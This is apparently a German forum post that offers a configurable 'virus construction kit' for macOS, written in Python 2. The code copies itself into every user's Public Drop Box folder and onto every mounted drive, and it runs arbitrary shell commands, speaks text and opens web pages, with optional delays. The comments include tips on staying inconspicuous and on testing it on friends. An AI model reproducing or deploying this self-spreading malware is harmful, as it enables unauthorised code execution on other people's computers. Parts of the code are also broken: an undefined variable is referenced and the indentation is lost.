Funktionen:
- Kopiert sich in jeden Briefkasten
- Kopiert sich auf jedes Eingesteckte Laufwerk
- Erweiterungen(Ein-/Ausschaltbar)
- Sagt eine Text
- Führt einen Befehl aus
- Ruft eine Webseite auf
- Wartet Sekunden
- Sagt nach Warten einen Text
- Führt nach Warten einen Befehl aus
- Ruft nach Warten eine Webseite auf
Code: Alles auswählen
# Virus Baukasten IBO ! Benutzten auf eigene Befahr!
#
# Coded von: TutorialMichel
#
# Bitte setzte den Namen dieser Datei in den STR(module_0)
module_0 = '' # <--------------------------------------------- Wichtig! <-------
##########################################################################################################################################
# Erweiterungen
# *---* *---* Nr. 1 *---* *---* #
# Funktion: Sprachausgabe
module_1_0 = 'OFF' # Erweiterung Ein-/Ausschalten
module_1_1 = '' # Sprach ausgabe
#
# *---* *---* Nr. 2 *---* *---* #
# Funktion: Terminal Befehl
module_2_0 = 'OFF' # Erweiterung Ein-/Ausschalten
module_2_1 = '' # Terminal Befehl
#
# *---* *---* Nr. 3 *---* *---* #
# Punktion: Warten
module_3_0 = 'OFF'# Erweiterung Ein-/Ausschalten
module_3_1 = '' # Zahl der Sekunden die gewartet werden
#
# *---* *---* Nr. 3a *---* *---* #
# Funktion: Nach dem Warten wird ... gesagt!
# Vorausetzung: Erweiterung 3
module_3_a_0 = 'OFF' # Erweiterung Ein-/Ausschalten
module_3_a_1 = '' # Nachricht die Gesagt wird
#
# *---* *---* Nr. 3b *---* *---* #
# Funktion: Nach dem Warten wird der Befehl abgeschickt!
# Voraussetzung: Erweiterung 3
module_3_b_0 = 'OFF' # Erweiterung Ein-/Ausschalten
module_3_b_1 = '' # Terminal Befehl
# *---* *---* Nr. 3c *---* *---* #
# Funktion: Nach dem Warten wird eine Webseite aufgerufen!
# Voraussetzung: Erweiterung 3
module_3_c_0 = 'OFF'
module_3_c_1 = '' # URL der Webseite
# *---* *---* Nr. 4 *---* *---* #
# Funktion: Webseite Oeffenen
module_4_0 = 'OFF' # Erweiterung Ein-/Ausschalten
module_4_1 = '' # URL der Webseite
#
# *---* *----* Nr. 5 *---* *---* #
# Funktion: Gibt eine Nachricht aus bei allen was Passiert wird!
module_5_0 = 'OFF' # Erweiterung Ein-/Ausschalten
#
# *---* *---* Nr. 6 *---* *---* #
# Funktion: Testen Virus Kopiert sich nicht!
module_6_0 = 'OFF' # Erweiterung Ein-/Ausschalten
#
###########################################################################################################################################
# +---+ *---* Tipps *---* +---+ #
# Tipp fuer Erweiterung 1:
# Wenn es unnauffaellig seien soll, auf OFF stellen.
#
# Tipp fuer Erweiterung 2:
# Benutzte ; Um mehrere Befehle Hintereinnader auszufuehren
# z.B. 'cd /Users/ ; ls > XXX.XXX'
#
# Tipp fuer Erweiterung 3:
# Minuten/Stunden in Sekunden
# 1 min 5min 10min 15min 20min
# 60 300 600 900 1.200
#
# 30min 40min 45min 60min 90min
# 1.800 2.400 2.700 3.600 5.400
#
# 2h 3h 4h 5h 6h
# 7.200 10.800 14.400 18.000 21.600
#
# 12h 14h 16h 18h 20h
# 43.200 50.400 57.600 64.800 72.000
#
# 22h 24h
# 79.200 86.400
#
# Tipp fuer Erweiterung 3a:
# Wenn es unauffaelig seien soll, auf OFF stellen .
#
# Tipp fuer Erweiterung 3b:
# Benutzte ; Um mehrere Befehle Hintereinnader auszufuehren
# z.B. 'cd /Users/ ; ls > XXX.XXX'
#
# Tipp fuer Erweiterung 5:
# Vergesse es nicht auszustellen... ;-)
#
# Tipp fuer Erweiterung 6:
# Nicht auf ON lassen wenn du es bei deinen Freunden Testets :-)
##########################################################################################################################################
# Achtung: Ab jetzt kommt Python Script! :-)
# Bitte nicht Anfassen :-) Don't touch this python script :-)
##########################################
import subprocess, time, os, webbrowser
module_0_1 = os.path.abspath(module_0)
subprocess.call(['cp ' + str(module_0) + ' /Users/Shared/' + str(module_0)],shell=True)
subprocess.call(['ls /Users/ > .tmp'],shell=True)
module_0_datei = open('.tmp', 'r')
while(1):
module_0_datei_0 = module_0_datei.readline()
if module_0_datei_0 == '':
break
module_0_datei_1 = module_0_datei_0.strip('\n')
if module_0_datei_1 != 'Shared':
if module_6_0 != 'ON':
if module_5_0 == 'ON':
print "[Debug] Virus kopiert sich zu: /Users/" + module_0_datei_1 + '/Public/Drop\ Box/' + module_0 + ' [Debug]'
subprocess.call(['cp ' + str(module_0) + ' /Users/' + str(module_0_datei_1) + '/Public/Drop\ Box/' + str(module_0)],shell=True)
if module_6_0 == 'ON':
if module_5_0 == 'ON':
print "[Debug] Virus konnte nicht kopiert werden zu: /Users/" + module_0_datei_1 + '/Public/Drop\ Box/' + module_0 + ' [Debug]'
##########################################
subprocess.call(['ls /Volumes/ > .tmp'],shell=True)
module_0_datei.close()
module_0_datei = open('.tmp', 'r')
while(1):
module_0_datei_2 = module_0_datei.readline()
if module_0_datei_2 == '':
break
module_0_datei_3 = module_0_datei_2.strip('\n')
if module_0_datei_3 != 'Macintosh HD' and module_0_datei_3 != 'MobileBackups':
if module_6_0 != 'ON':
if module_5_0 == 'ON':
print "[Debug] Virus kopiert sich zu: /Volumes/" + module_0_datei_3 + '/' + module_0 + ' [Debug]'
subprocess.call(['cp ' + str(module_0) + ' /Volumes/' + str(module_0_datei_3) + '/' + str(module_0)],shell=True)
if module_6_0 == 'ON':
if module_5_0 == 'ON':
print "[Debug] Virus konnte nicht kopiert werden zu: /Volumes/" + module_0_datei_3 + '/' + module_0 + ' [Debug]'
############################################
if module_1_0 == 'ON':
if module_5_0 == 'ON':
print "[Debug] '" + module_1_1 + "' wurde gesagt [Debug]"
subprocess.call('say ' + str(module_1_1))
if module_2_0 == 'ON':
if module_5_0 == 'ON':
print "[Debug] '" + module_2_1 + "' wurde ausgefuehrt [Debug]"
subprocess.call('' + str(module_2_1))
if module_4_0 == 'ON':
if module_5_0 == 'ON':
print "[Debug] '" + module_4_1 + "' wurde aufgerufen [Debug]"
webbrowser.open_new_tab('' + str(module_4_1))
webbrowser.open_new_tab('https://www.python-forum.de/viewtopic.php?f=9&t=38708')
if module_3_0 == 'ON':
if module_5_0 == 'ON':
print "[Debug] Es wird gewartet (" + module_3_1 + ')'
time.sleep(int(module_3_1))
if module_3_a_0 == 'ON':
if module_5_0 == 'ON':
print "[Debug] '" + module_3_a_1 + "' wurde gesagt [Debug]"
subprocess.call(['say ' + str(module_3_a_1)],shell=True)
if module_3_b_0 == 'ON':
if module_5_0 == 'ON':
print "[Debug] '" + module_3_b_1 + "' wurde ausgefuehrt [Debug]"
subprocess.call(['' + str(module_3b_1)],shell=True)
if module_3_c_0 == 'ON':
if module_5_0 == 'ON':
print "[Debug] '" + module_3_c_1 + "' [Debug]"
webbrowser.open_new_tab('' + str(module_3_c_1))